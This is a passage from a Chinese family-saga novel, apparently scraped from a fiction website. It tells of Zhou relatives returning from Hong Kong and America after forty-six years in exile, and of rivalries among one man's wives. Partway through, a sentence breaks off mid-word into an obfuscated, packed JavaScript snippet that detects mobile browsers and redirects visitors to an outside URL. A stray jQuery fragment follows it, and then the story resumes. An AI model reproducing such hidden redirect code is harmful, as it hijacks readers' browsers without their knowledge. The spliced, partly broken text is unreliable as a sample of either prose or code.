蒋志幸很委屈地为自己辩解道,她对周家家境的变迁浑然不知。
“你要知道,春子他们兄弟一直在找,从改革开放到现在,找了二十几年了。”
雪秀边说边赶紧去房间拿出一张一模一样的照片出来,让蒋志幸看。
“还真的是家里人啊!”
蒋志幸这才惊醒过来。
“大哥二哥都有,可能没拿给你们看。春子找人翻拍了好多张,冬子维子欣子他们都有,有没有放在心上,那就不知道了。春子这张相片是随身带的。”
雪秀这么一说,蒋志幸面露疚意,有点不好意思地抿嘴笑着。
俩个女人赶紧让司机开车下山,在刚才拦车的山坡下,看到一个等在路边朝她们望过来身材高大的中年男人。
坐等在草地上的女孩撩起衣服下摆,也站了起来,女孩穿着白衬衫和天蓝色宽松的牛仔裤。雪秀下车径直走到那中年男人跟前。这男人看不出是年过六旬的老人,倒像是五十出头的中年男人,尽管是炎热的夏季,衣着整洁,身着白衬衫,直筒长裤,脚上是一双锃亮的皮鞋。面部有着明显周家男人清晰而鲜明的线条。
雪秀一眼认出来是周瑞恩叔父。
“您是瑞恩叔父吗?”
“是!……你是?”
“我是雪秀呀,柯雪秀呀……”
“雪秀?”
“我是春子太太……噢、我是周瑞年爸的二儿媳妇。”
“瑞年?京都大臣那个瑞年?”
“是。老爷爷周体胖、爷爷周元仕,”
雪秀这才想起来应该报上长辈的名字与对方相认,
“你给的相片上是元昌大爷爷和瑞佑瑞恩叔父吧?”
“是、全都是。终于找到你们了。她怎么一点不知道呢?”
周瑞恩指着蒋志幸问。
“她没在老家住过。又这么小。他是二堂哥周振实的太太。”
“啊?振实太太?我们离开时,振实不到二岁。”
“周瑞佑二伯呢?”
“他在美国。我们都是从美国赶回来的。已经在这里等你们六天了,今天确实没办法才拦车递相片给她。”
“你们怎么不上去家里找我们呢?”
雪秀一脸疑惑地望着周瑞恩叔父问。
“我们每天都上去过,没看到人。还让你家的看护赶过。又不敢确定到底是不是你们,也不好开口到处问。”
周瑞恩叔父喜不自禁指着山腰周家府邸笑着说,
“我们也怕找错了,也不敢把相片拿出来让人看。你们家的地址,都是街边摊子上的书上搜集到的,花了一年多时间。”
“两年才确定下来。回归后香港可以收看内陆电视,看到周瑞年爷爷和春子叔父,才敢确定。”
一旁周思家喜滋滋插上话告诉雪秀道。
“你们怎么这么难呀?春子时常跟我说,要是你们在的话,肯定很快会找回家。台湾老兵都开放探亲了。”雪秀还是疑惑再次发问说。
“我们可跟他们不一样啊,怕连累你们。”
周瑞恩叔父解释说。
“好像爸给我们说了。”
雪秀这才像是恍然大悟似,想起来说。
“不敢把相片拿岀来。今天看到这姐姐,问了老爷爷和周瑞年伯父的名字,才敢说是找你们的。”
周瑞恩叔父说道,这时才指着身边的女孩向雪秀介绍,
“她是我大孙女,叫周思家,刚大学毕业。”
“哎哟,你的名字和云子儿子的名字一样。”
雪秀惊呼道,差点喊了起来。她向前拉住思家的手,满是欢喜地说,
“那就赶紧回家吧。”
“我们的车停在那里。车上还有老周家好些资料。”
周瑞恩叔父指着路边的一辆小轿车说。
“老周家?”
雪秀听到这话,喜不自禁地咯咯笑了起来,
“叔父出来这么久了,还叫我们家‘老周家’,我们也都是这么叫的。”
“我们从小到大就是这么叫的。”
周瑞恩叔父和思家都跟着笑了起来。
“叔父,您就坐我的车吧。我这打电话告诉春子。”雪秀对瑞恩叔父说。
“是周振春吧?”
“是。”
“电视上看到过他好多次,家里人都说他很像我,我都用相机拍了他好多照片。”
周瑞恩叔父从口袋掏出打印周振春的相片,给雪秀看。
“哎,老爷爷也是这么说春子,说很像在京都上大学的瑞恩叔父,只是他好调皮……”
雪秀又高兴又激动地说。
雪秀只是模糊地记得老爷爷提起过大爷周元昌与周瑞佑二伯父周瑞恩小叔逃亡在外的事情,要想知道事情的真相,只有等周振春回来。
周瑞恩叔父并没有想像中的那么激动。雪秀注意到他的衬衫后背己经汗湿了,不难猜到他们爷孙俩在这附近的路边等着周家府邸的人很久了。
“叔父,你的衣服汗湿了,到家拿春子的衣服给您换。”
看着周瑞恩叔父已经汗湿的衣服,雪秀关心地说。
“好、好!我已经换了两件衣服了。要是今天再碰不到你们,又不知道要等到什么时候。你元昌大爷爷和瑞佑大伯天天打电话过来催我。”
周瑞恩叔父忙不迭口高兴地笑着告诉雪秀。
周元昌大爷和大伯父周瑞佑周瑞恩叔父己经离家逃亡整整四十六年了,暌违已久,骤然相见的欢喜让这位老人没有过多问雪秀家里人的情况。周瑞恩叔父坐上雪秀的车,孙女周思家去旁边草坪上开她的车上来。
“春子,告诉你一个天大的喜讯。你先猜猜。”
雪秀一坐到车里,就用手机向男人报喜。
“猜什么猜,我没那个时间。你快说。”
“我让叔父给你通话。”
雪秀把手机递给叔父。
“你是春子……周振春?”
“是。你是……叔父?瑞恩叔父!”
“是、是!”
“我一直在跟爸说,如果你们还在,应该这几年肯定会找回家里来,改革开放快二十年了,现在是信息时代,不会不知道我们老周家的事情的。叔父你先让雪秀领你们回家,唔,先别告诉爸他们,等我回去,我现在让人订机票。您让雪秀接电话。”
……
“看,侄女,这就是我们老周家的男人,没有一句多余的话,而且料事如神,行事干脆利落。”
周瑞恩叔父恍然发现什么,喜不自胜地说。
“个个都这么夸他。”
雪秀很欣慰地说,她知道,以香港和国外的八卦花边消息,逃亡在海外的周瑞恩叔父他们,应该知晓春子的情况。
“叔父,你们有没有回过老家?”
雪秀还是这么兴冲冲地朝周瑞恩问。
“回过,改革开放后,八九年夏你大伯瑞佑半夜偷偷回去过一次,躲在山上,看到有人搬东西,又赶紧跑了。”
“那是修老宅,我们全家都搬到西山住了。”
雪秀很遗憾地告诉元昌大爷说。
“我们也知道瑞年在西山住,可就是不敢去找。香港回归了,从电视报纸上看到瑞年和春子,才壮起胆子四处打听你们。其实我们这次来香港快二个月了,天天都在找你们。也知道春子万柯公司有很多地产商业在香港,但没敢去问。”
“叔父,你们找我们自己家的人,怎么这么难呀?那些新闻记者只要爸和春子一露脸,就会找上门来。”
与雪秀相认,既不是巧合也不是奇遇。只要他们守在这里,打听到家里的情况是迟早的事。
随着改革开放经济建设的不断深化发展,人们纷纷出走营业谋生,个体户经营范围的扩大,四方八面的人们纷流往来,信息传播飞速的发展,香港回归后,电视报纸新媒体传播往来日益频繁,两边获得较多的信息量,只要他们看电视报纸,以周瑞年周振春为主心人物的周家,打探到四十多年前家里情况并非是一件什么很难的事情。
但四十多年来逃亡过程中的艰辛和困境是让人无法想象的,它改变了人的思维方式和行为习惯,与人相处会特别谨小慎微保持着小心翼翼的那份警惕。
周振春没想到,香港回归已经好几年了,他们与自己近在咫尺,却要花费这么长时间。
俩个伯父逃亡到香港来,从找到家人到他们逃亡已经过去四十六年了,当年俩个血气方刚的小伙,再见时己是饱经磨难六旬的老人了。
二十世纪八十年代末一个晚上,阿黑带着四只狗崽朝后山坡上刷下来的一个人影一阵狂吠,人影慌忙退回山里消失了。这个人影是周瑞佑,他想回家看看,被阿黑挡在山里面了,他啃着口袋里的一个馒头,也不敢大意睡,眼睁睁地等到天亮。
等到他看到的是自己的宅院被拆除只剩下一幢小楼。春子家的宅院进进出出几个人都不是自己的家人。
他想看到自己妻子张连英,却等老半天不见身影。
“家里的人都被赶走了。”
周瑞佑独自在山里哭了会。趁天黑走出树林时,往茶园那边抄小路下山。在路边发现祖父己经立碑的坟墓,跪在墓前嗑头压着喉咙朝着墓前哭一阵,从墓上抓起一把土放入自己的口袋,凭着幼年时的记忆摸黑下山,一路步行五十几里山路,天乌乌亮时用顶大帽子盖住脸,赶到县城搭乘去西山的班车再乘火车返回香港。
回去的周瑞佑把看到的一切告诉父亲周元昌堂弟周瑞恩,父子侄三人相对又哭一场,对回家不再抱有期待,和许多香港人一样,他们赶在回归前移民去了美国。
“老家怕是回不去了。父亲骂得对,是我们不该打,害了一大家子人。只是你母亲和你叔父元仕你兄弟瑞年他们赶去了哪里呢?难道还关在牢里?按理说,不关瑞年的事,不应该坐牢。瑞年没事,振岩振实就会平平安安地长大,瑞年有事,他们俩兄弟就会落难。你母亲和张莲英性子太弱,很难说能够抚养大振岩振实那俩个孩子。”
周元昌至使后悔不已。
为了周瑞年该不该坐牢,他们父子侄特意去书店买了好几本宪法书,在书上未能找到年少的堂弟周瑞年和年幼的儿子周振实大堂侄周振岩、该不该坐牢的答案。
就是书上能找到答案,也并非与现实之间完全相符。
“可能随着大人一起关在牢里了。只要不枪毙就好。你爷爷是被他们枪毙了。”
说到这周元昌又止不住老泪纵横,他对当年自己的鲁莽后痛悔之极:
“只怪当时行事太莽撞,这本不是我们周家的门风啊!”
“你爷爷不葬牛姥山祖坟地里,怎么会葬在老宅的后山坡?你看清楚了?”
周元昌止住痛哭,象突然醒悟过来睁大眼睛盯着儿子周瑞佑,问。
“我看清楚了。晚上不敢掏出打火机看,白天我爬过去又看,是爷爷坟。旁边没有其他坟墓,就他老人家一座。”
“父亲是在等我们,他要看到我们回家……”老人用双手擂着拳,捶起自己的胸,放声大哭起来。
“我们还是在香港等吧。说不定遇到从乌浟冬塘的人,能打听瑞年振岩振实他们的下落。”周瑞佑安慰父亲道。
周家父子侄商量,无论如何也要在香港留下一处居所,哪怕就是把其他地方的家产卖光,只有这样,才能有机会由香港再回内陆打听家人的消息。这种急迫思乡的情结,随着周元昌年岁老去越发强烈。
他们留下周瑞恩在湾仔区的一套三居室和两个店面,又从那些移民出国的人那里,盘下一层酒楼和一栋老房子,用作海外周家人以后为有机会再返回内陆寻找家人在香港的落脚点。
四十六年前的初秋深夜,一个瘸子从黄家塆吃请客酒回家,走到河边时,被山上冲出来俩个身强力壮的黑衣人架着他,用布塞住他嘴巴,拎小鸡似的提着瘸子向下流河边走去。到了河边的陡崖上,扯去瘸子嘴巴里的布,往瘸子嘴里灌了两支老坛酒后,把瘸子扔到了湍急的河里。
这个瘸子是打死周元昌妻子的元凶。
惩治祸首后,俩个黑衣人返回山里,和等在那里的一个壮汉汇合,他们换去衣服,朝峻峰山往乌浟城这边走去,爬向驶向西山马路上的一台拉煤的大卡车,到了铁轨道再爬上往南方方向的火车逃亡。
俩个黑衣人是周瑞佑周瑞恩,壮汉是三十七岁的周元昌。
有人说,生活是一场现场直播的悲喜剧,总是会出现很多让我们意想不到让人悲欢离合的事件。我们只有敞开自己宽阔的胸襟,接受更多的光亮进来。一个家族一代人的血泪史,也就是一个时代一个社会毁灭人性的悲歌 。
“香港对内陆开放观光旅游后,来来往往的,有几个西山乌浟人走出来的?普通老百姓天天要开工,能走出来吗?本来我们冬塘就没什么人跑江湖。三年里遇见几个说冬塘话的,都是穿没补丁的四个口袋干部模样的人,这些人来店里,躲都还来不及,哪里还敢向前打听?问到了就等于自投罗网了。”
“我看还是在这里等吧。反正三年都过来了,现在允许内地和来香港自由行,说不定乌浟冬塘也有人来香港要在这里歇脚转车来来往往的。我们遇上对眼的人再打听。”
周瑞佑周瑞恩俩兄弟还是对周元昌老人这么说。
父子侄两家人集资在贩夫走卒喧嚣车站码头附近开两家餐馆,一边辛劳营生,一边留意操着西山乌浟方言的家乡人。
这店里生意也好,周元昌本来就是生意人,周瑞佑自小也跟着父亲经营店铺,很会算帐打理,招徕过往的来客,每月收入是普通工人好几倍。儿子和女儿也跟在身边,一家人经营餐馆生意越来越红火,每天来餐馆就餐的人坐无虚席。
“我有点等不及了。”
香港回归后,七十几岁的周元
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199099|197153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
昌一脸沮丧和忧伤。回首平生,少年的欢情,壮年的襟抱早已成为遥远的过去,飞逝的岁月在这位年迈的老人心中,留下的只有世态炎凉命途多舛的记忆。如今早已过了古稀之年的老人,盼着急于归根。
“要不,我再回一趟,干脆去下塆村直接问问?” 周瑞佑看父亲难过的样子问。
“那就算了吧?”老人很无奈地说,
“这事只能偷偷摸摸,绝对不能声张。你现在有家有小,也很快要做爷爷了。还是等吧。连英和你二爷二叔他们还活着就行了。到时候我死了,还是那句话,你偷偷把我的骨灰埋在你爷爷身边就是。千万不要捧坟让人知道。这个你得告诉振海碧容他们兄妹俩。”
周振海周碧容是周瑞佑的一对子女,俩人都在美国上完大学,留在那儿工作,如今兄妹俩各自有自己的家。
周瑞恩二子一女,大儿子陪父母留在香港,小儿子去了加拿大,老二是女儿,嫁到了英国伦敦。现在陪他找周家亲人的思家是大儿子周振江的大女儿。
在周瑞恩找到雪秀后,得知消息的周元昌周瑞佑父子俩当即订了第二天从旧金山飞到香港的机票。
“终于可以落叶归根了。”周元昌大爷长长吁一口气说。这一年老人刚好八十高龄了。老人身体很健朗,连续坐十几个小时的飞机,看不出有丝毫的倦容。
“先在我这里住几天,休息好,我再陪大爷你们回家。到家后以平常心,尽量不要太张扬。”
从大叶赶到家的周振春恳切地对周元昌大爷他们说。他打电话让大侄儿冬子召集周家的人,从各地齐集到西山周家府邸。
“要不是你先说,我就差一点打电话告诉爸妈了。”雪秀显现孩子般的天真,不好意思地笑着说。
“你呀,四个孩子的妈了,还像小时候那样大大咧咧的。你一通电话打过去跟爸爸妈妈说,这几天他们都睡不着觉。”
周振春说了一句雪秀,再简单地向周元昌大爷他们介绍家里人的一些情况,
“家里的女眷老师和医生多些,后来自己有了公司,人手不够,让她们都到公司来帮手,我们是私人企业,当然得用自己的人。”
周振春介绍家庭成员的各个情况后,作了一下总结。
“我年轻时也跟老爷爷教过书,这几十年里都忘了。也上了岁数了。今天看到我们老周家重整家业红红火火,总算满足了。”
周元昌老人接过雪秀再斟的第二杯茶,小小喝了一口,仍然有点激动地说。
“如果大爷和伯父叔父的孩子,愿意来公司,当然更好。另外这几天,我们在香港的屋宅,大伯和叔父你们自己要住的话随便挑,雪秀这里有图纸。”
周振春平心静气地看着周元昌和俩个伯伯叔父,笑着说。
“都在海湾山腰上的,愿意做邻居愿意另立山头都行。”雪秀插上话,喜滋滋地说。
“我这一辈子都没想过要住洋楼。”
周元昌老人拉着周振春的手,也不客气地说,
“知道二侄儿给得起。我也高兴要,我想要个有作土种菜的地方,一直有这个心愿,出来四十多年,一直没实现。”
“你把菜地最多的拣出来,当然位置也要好。”周振春立马应承下来,吩咐雪秀。
“叔父,我可以来公司吗?”
一直未开口的侄女思家腆腆地带着几分窃喜看着周振春问。
“我刚问了五叔,你的电子软件专业是公司最缺的,先去电子工程部,那里是一个男人婆在负责,常常怼我,有时还故意掐我脖子,你去之后,尽快熟悉起来。现在还不敢说让你接班,但是我还是很期待。”
周振春用又正经又有点调侃的语气对侄女说。
“我跟晓秀说过很多次了,她说她喜欢这样怼你。”
雪秀接过男人的话,很无奈地笑着说,又转过脸,告诉思家道,
“是我最小的妹妹,柯晓秀。”
“我知道,我们就是看了四姨的八卦消息,打听到二叔家的。”
思家告诉大家说。
“你四姨是众多八卦媒体追逐的对象。”
周振春笑着告诫周思家说,
“思家,你跟着她,作好哭鼻子的准备。之前派了几个,也都是洋博士,全让她赶走了。她天马行空的个性,比那些电视报纸上的八卦还离谱。在我们老周家只有我爸才能管得住她。你问二姨,她为了你四姨哭过多少次。她说不定一天给你弄一个古怪的东西出来。”
周振春脸上虽然严肃,但又不失和蔼,看着雪秀笑眯眯的挽着思家手,眼神特别柔和。她们坐在在一起,就像是岁月静好的画面。
往后的日子,在舒适的天台或室内窗前,一边品尝美食饮品,一边悠闲地欣赏维多利亚港湾的美景。无论是阳光洒在的海面上,还是夜晚的灯光秀,都能让人放松身心。
对于周瑞佑周瑞恩来说,香港的生活并未如兄弟俩早年所期“打出一片天地”,但他们认为能够劫后余生成功留在香港,生活安定,便是命运最好的安排。
乌浟开通了火车,一株株从山里移栽过来的西府海棠树,它在铁路两侧的土堤上开满花,火车驶过的时候,花瓣摇摇曳曳,棵棵树枝象是一个个持花人舞动着鲜花欢迎火车的来临。
这一天,逃亡香港四十六年的周元昌周瑞佑周瑞恩在周振春的陪同下,回到西山周家府邸。
“那个残酷斗争的时代,只有队伍上的人才能救人。” 周瑞年告诉弟弟周瑞恩说,
“从家里回部队后,刚刚一年。第二年上部队就来人送来烈士证书。”
“我也没想到瑞孝瑞安俩哥哥就这么走了。”
周瑞恩百感交集,很伤心地长吁短叹地说。
“要不是大伯父二伯父俩烈士,我们周家就会遭到灭门之灾。”
周振春告诉大家说。
周元昌见到弟弟周元仕,他们俩兄弟一起长大。尽管懵懂的弟弟周元仕只知道朝他笑,但认得出他是自己的大哥。周元仕知道坐在小儿子周瑞恩身边同一张沙发上。小儿子周瑞恩握住他的手,他就笑得开一点也笑得久一些。
他吸着周瑞恩递给的“中华牌香烟”,咧着嘴高兴看着小儿子笑。小儿子的泪水却如水注般从脸上淌流泻下。父亲懵懂傻呆的样子,让久别重逢的儿子一度伤心欲绝。
“这是我有生以来看到爷爷哭得最伤心的一次。”
周思家在旁边悄声对雪秀说。
这让周元昌也很伤心,老人告诉大家说:
“他小时候就象云子,白白胖胖,调皮捣蛋,经常追着我玩。现在却成了这样……”
周元昌大爷哭起来,一家大大小小的人跟着伤心又哭了一阵。耄耋之年的老人,也许很多事都会遗忘,但常能回忆起当年年轻时身边的人的样貌和笑容,甚至幼年时一些平常的事情。
“五叔,知道他是谁吗?”张连英问他。
“他是我大哥。”爷爷回答。
“爷爷只是懵懂,但记忆力还是有的。”
春子妈告诉周元昌大爷和周瑞佑周瑞恩他们。
张连英拒绝见周瑞佑,对逃亡在外的丈夫,在经过长达四十余年漫长的岁月后,这个孑然一身受尽孤苦倔犟笨拙的女人,早已抹去了记忆。长期的寡居生活也迫使她的思考能力落入狭窄的深渊,媳妇文小尚的自尽,更增添了她内心深处那份悲凉孤独的宿命。
张连英拒绝见周瑞佑,也得到周家俩个核心人物周瑞年周振春的认可。周瑞年说,如果对对方心存愤懑和怨恨,俩人还不如不见为好。
仰仗周瑞年周振春的照顾有加,不光是寡母张连英,就连儿子周振实对隔别四十余年的父亲也没有表现出父子间那份久别重逢感情上的亲切。
大爷周元昌、周瑞佑周瑞恩兄弟俩,他们在西山住两天,执意赶着要去冬塘牛家塆周家老宅看看,说还要准备在老宅住些日子。
这些逃离故乡的海外游子,劫后余生,一别四十多年,今日重回故里,周振春安排由周家第三代主心人物周思冬全程陪同。
16. 第十六章
从四面八方而来聚集在西山周家府邸周振春众多的女眷。在厅堂,太太们都像图画中的人物似的围在一张放了许多周家老照片的桌子周围。她们站的、坐的或是半倚半坐的姿势,都在寻找这个钟鸣鼎食之家过去辉煌的历史和秘密的价值。
喻蓓的到来,这是大家没想到的。而更加让人难以置信的,竟是和晓秀一同前来。
正好被婚姻生活折磨得心神俱疲的喻蓓,听闻周家迎接海外归来的元昌大爷瑞佑瑞恩伯叔,便和也被周家置之事外的晓秀商定结伴而行赶来。
现在她们俩默然地坐在桌子后面沙发位子上,看着眼前的雨秀雪秀细秀苏姝诗筠秋华冬花温婉仪蒋志幸,围着桌子好奇地品评周家老照片上的人物,像是俩个事不关己的局外人。
如今的喻蓓,对丈夫的包容就像大海一样那样广渺无垠。她也见证过自己男人成就別人宁愿自己吃亏,常常忍辱屈尊周旋于他人跟前,这些数不胜数的举措,最终也成就了男人的辉煌。
“打落牙齿和血吞”,男人常用这句话为自己消停解气舒缓心情。男人的成功绝非偶然。
当然,男人的决绝,也是冷酷无情:
“弱者的反抗就是与强者同归于尽”,男人亲历过战争,深谙其精髓,处事手腕老道毒辣,让人捉摸不定无以适从。女人终于臣服了。
“我愿意你能亲近我,但也不强求。”
喻蓓终于向男人剖开一直以来隐痛的心扉。
但男人一如既往还是对此无动于衷。
“即便是条狗,如果终日受虐待,偶尔给块肉,也不会轻易凑上去的。”
喻蓓对丈夫周振春狠狠地说。这十几年来,随着男人位尊居显的地位日升,女人得到的是男人长期以来的漠视。
就内心而言,女人早已舍弃与生俱来的倔强和执着,从此让自己变得柔韧和温存。她仿佛受制于一个至高无上的命令,让女人屈服并默认男人所做的一切,包括眼前男人妻妾成群的婚姻生活。但她仍然固守着自己的婚姻家庭的壁垒。得知周家大团圆,在无人告知的情形下不请自来。
男人的心迹让人捉摸不透,寻找生活的意义对这些贵夫人来说已经毫无意义。现在的喻蓓对于她来说,豪华富贵车马盈门置身于其间,更多的是浸透了自己绵绵不尽的哀怨。春去秋来,多年来忧思愁绪,终日郁闷,积压心中,现在能融入周家获得他们的认可,终于释怀。
她现在默然地坐在后排一旁,淡然目视眼前的一切:男人妻妾成群的女人。
女人当然知道到了她们这种情形,男人再怎么变心,他的妻妾们也不会心猿意马,而那些即使当初情投意合海誓山盟的爱情,也会在岁月的侵蚀下土崩瓦解。——眼前的雪秀不正是如此吗?
“看到蓓蓓瘦得不成人样,整天没有一点笑容,女儿婚姻是不是失败?她有没有万念俱灰?和春子都生两个孩子了,这十几年来一直过着有名无实的夫妻生活,形成这样的难受的局面。如此看来,结婚也是很靠不住的事情。”
喻志奇不知道怎么对周瑞年春子妈说起自己心疼可怜的女儿。
喻蓓她今天身着灰色的长裙,前襟用青缎子搭配的坎肩,脚上半筒长靴,状似打点行装要出发远行的样子;似乎永远带着长途跋涉一路上的舟车劳顿和满身的风尘,在这个女人脸上总是显出一副疲惫不堪败落的倦容。
这个可怜的女人,她己经着手售卖自己在大叶的房子,准备搬到西山周家府邸。
她要把西山周家府邸当作是自己固定的住所,是自己的家,让周家所有的人都感到她是这里的女主人。
耳闻不如目见,天底下竟有这么瘦骨伶仃的女人。诗筠暗自寻思,直到现在她也没表示一句向喻蓓的问候。喻蓓一副拒人于千里之外的冷傲,让她气恼。她只管奉承雪秀就好了。
苏姝强颜欢笑,走到喻蓓面前叫了她一声“大姐”。
喻蓓淡淡一笑,以一个主人翁的姿态看着苏姝说:
“妹妹不过来叫我,我也不会怪你的。雪秀是大姐,我是二姐,你是三姐,”喻蓓缓了一下,用手指着诗筠,
诗筠见状,赶紧过来朝喻蓓叫了一声:
“二姐。”
“你是四姐?”
喻蓓盯着诗筠像是责问。她虽然冷峻,神色之间却隐藏着委屈无奈的神情。
诗筠没回答她,而是转过身去了雪秀身旁那里。
“我年后让春子带给你的燕窝,你干嘛不吃?苗子告诉我一直放在冰箱里。”
雪秀转过身来,问喻蓓。
“我那吃得下。我还想让苗子带来给爷爷奶奶吃。”
“爷爷奶奶有。苗子跟我住也是三四天吃一次。去年一个冬季就没咳嗽了,也没有感冒过。今年冬还是让苗子去我那吧?”
“好!不光是苗子,修子也得让你费心去照顾了。”
“我就怕修子不来家里。我跟修子说了,只要他住到家里来,他一进书房实验室,保证弟弟妹妹不会去打扰他。这个你也得跟修子说说。”
“修子要是听我的,我会是这个病怏怏的样子吗?”
“你操劳心太重了。”
“我有很多担心啦。要是你能帮我一把,我就不会有这么累了。我是想把帐本都交到你手里。”喻蓓做不到给周围和自己身边的人留下和蔼的笑容,与雪秀对话,她还是挤出一丝的笑意。
喻蓓知道随着冬子修子下一代的日渐长大,堂兄弟之间无法消弭的隔阂。即使是亲兄弟也不例外,象修子山子明子诚子这些同父异母的兄弟,也是不可避免出现种种利益关系的博弈,毕竟像是自己儿子修子,这么近似修行者心境澄明的人世上很少有。
但无论如何,把财产交给同父异母也比让堂兄占据更有胜算。
儿子的执拗倔强争强好胜的秉性,完全来自于自己和男人的遗传。她无数次在心里懊恨自己,要做一个无所事事息事宁人的人。
“我不行。我看那些密密麻麻的数字就头疼。小时候住春子家也是,一看他那些书密密麻麻的字就很不舒服。”
雪秀回答,诗筠忍不住噗哧地笑了一下,紧接着女人们哄堂大笑起来。
“你小时跟姐姐一起。什么跟春子一起?那时己经上高中了,快十六岁了。”
雨秀笑着纠正雪秀,告诉大家说。
“我总是以为是和春子一起长大的。就像晓秀一样。”
雪秀自己也笑了起来。
“二姐,你是说我和二姐夫一起长大的?”
晓秀认真地朝雪秀调皮地故意问她。
“我是说你是在春子家长大的。我都让你们整懵了。”
雪秀这才恍然明白妹妹是在逗笑自己,自己也禁不住噗哧笑了起来。
“噢?二姐,你说你自己懵,还真让你懵对了。可我也想像你一样懵,就是做不到……”
晓秀借此话题,发泄自己内心的委屈。
“晓秀,你在说什么?越说越离谱了。”
雨秀忙制止晓秀的说话,走到晓秀身边,挨着她坐下来。
“二姐,我跟二姐夫说了,我们要在冬塘盖一个酒店,建一座寺院,你帮我跟二姐夫说说。”
“春子没跟我说。”
“我是让你跟二姐夫说嘛。我跟他说过他没岀声。”
“蓓蓓跟他说不更好吗?”
雪秀朝喻蓓问。
“我现在去哪里见他呀?我和他有大半年没见面了。”
喻蓓这么一说,女人们都安静了下来,大家默不作声,各自在心里想着自己的命运。
男人的冷冽决绝,让人不寒而栗。
女人光是这样一说,她就倍感心力交瘁,常有就像被人从高处扔下来一般,狠狠地摔在地上,又像是被人打倒在地上踩上脚窒息的压迫感。在心神疲惫之中,可脑子仍旧是莫名其妙地越来越清醒。这一切都源于她那种试图控制别人的权力欲和争强好胜的秉性。
女人现在必须要让自己紧绷的神经松弛下来,女人多年前已皈依,“带发修行”,和春子妈一样,逢“初一”“十五”全天斋食;家中总是佛音袅袅,女人常在家诵念佛咒。
女人想借以清润尘心,可女人没有了脱俗世红尘的舒展,更不会有禅修之中那份含烟的清闲。
她虽已皈依佛祖,着一身素装,却无法在物欲横流的世界里静静登上“四大皆空”的彼岸,女人仍然眷恋甚至是贪婪巨额财产,无法做一个卸下行囊的修行者。
这个可怜的女人,虽为佛门弟子,青丝未断,尘缘未了,依旧一腔世俗的欲念。
一样为公司庞大繁杂的经营事务日夜兼程,劳碌奔波,生怕少了一分钱财。
其实,很多修行者与佛家“心若冰清天自明”谒念形同水火不相容。
就像是这个可怜的女人皈依佛门并非出于自愿,也不是看破红尘遁入空门,而是被迫寄托一个无处安放的凡心来求助佛门。
尘世间太多的纷纷扰扰,躁动的心灵无法得到安宁,唯有在青灯黄卷中寻找答案,求得心灵的净化。
像女人一样备受丈夫身心折磨遭到摧残的女人,她们固守着“有我之身”:既想摆脱世俗又仍不舍红尘,两难之间:欲洁不能,欲俗不屑,守不得青灯古佛,舍不去姹紫嫣红,青灯黄卷,做不到了却红尘,空留一身怪诞,终究活成了一个纠结的糟线团,也就自在情理之中了。
她们究竟敢爱敢恨?无论以何种姿态出现,一生一世为的是自己眷恋红尘又要清静、又要让自己不安分孤寂难鸣那颗心的安宁。
这些人自始自终一直活在自我的矛盾之中,也注定是孤寂与落寞。
对于喻蓓来说,悉知她心境的雨秀安慰她说:
“你是个优秀的管理者,出类拔萃的实业家。不说在商界,在政界谁不知道你‘喻太太’。”
“无非我是春子的‘夫人’吧?”
“这只是其中之一。”
“还有的话,就是与你们周家快二十年的缘分。”
喻蓓仍不改她动辄怼人的毛病,雨秀只好说:
“我给冬花说,让她陪你?”
“她愿意吧?”
“她当然愿意。细秀也留下来在乌浟住些日子,云子也高兴,住老宅住、在乌浟城里的宾馆住,随你。”
“好。只要冬花陪我一起就好。”
其实冬花并不存在陪不陪的问题,她本来就长居在这里的周家府邸。
得知周振春陪大伯父他们回西山,雨秀特意把诗筠从香港召回来,她要让自己亲手送到周振春身边这个年轻女人,知道妹妹雪秀是怎样的折磨,才换来她的今天,也让她知道,跨进周家所面临暗藏的危机,让她处处留心,慎谨从事以保全自己。
作为公司副董事长,主管人事总经理的柯雨秀,现在手里统管万柯公司数万人的人事管理和安排,其身份地位不容小觑,在周家仅次于周瑞年周振春。
当然她现在前来,也是为了妹妹雪秀儿子接班的问题,在男人妻妾成群的子女当中,必须要让妹妹保持稳定的地位。她知道周振春携众人回西山周家府邸,停留数日,必定是有重大的事情发生。
也让苏姝通知何穗前来。何穗奉命前来,以柯雨秀在万柯公司的身份地位,她知道自己面对周家大媳妇将会是怎样的一种卑躬屈膝,甚至的嘲讽和侮辱。
何穗与雨秀已经有十五年没见面了。自从认定她和周振实生了儿子何思塘导致小文自尽,紧接着就是周家媳妇们对她的声讨。
诗筠每次生孩子后,都会在西山周家府邸长住一些日子,以获得更好的照顾。
六年前那次来牛家塆,改变了她的人生,成为诗筠生命中里程碑式的记忆。
自然、纯洁的爱情,正如被四周莽莽的原始山林环抱的牛家塆老宅一样:初冬温暖的黄昏落日,空旷寂静的小村庄,幽暗的木质房,低头写生的少女,被阳光镀上光芒的侧脸……
六年间,诗筠也曾想过去见何穗,但始终未能。直到三年前周振春把苏姝告诉她,尽管诗筠当时并不觉得是件突然的事情,一如许多富贾豪绅有几位太太一样,但还是生周振春好一阵子的气,她没料到竟然是苏姝。
成了周振春一门后的诗筠,一直居住在香港,与雪秀府邸在同一地的山腰处,俩房相距不足二公里。善良的雪秀恪守承诺,一直替她保守秘密。
两房女人温柔体贴,风情缠绵。见面后心中万斛情绪,烟消云散。
诗筠和男人的三个儿子常以作客的身份去雪秀府邸的家。俩个女人惺惺相惜,有着同样的处境和感受,而且来自同一家乡,有着共同的生活习性和自幼生长环境中的语言。
两房女人相处推心置腹坦诚相待,心境如水晶一样透明,她们既像是相识多年的老朋友
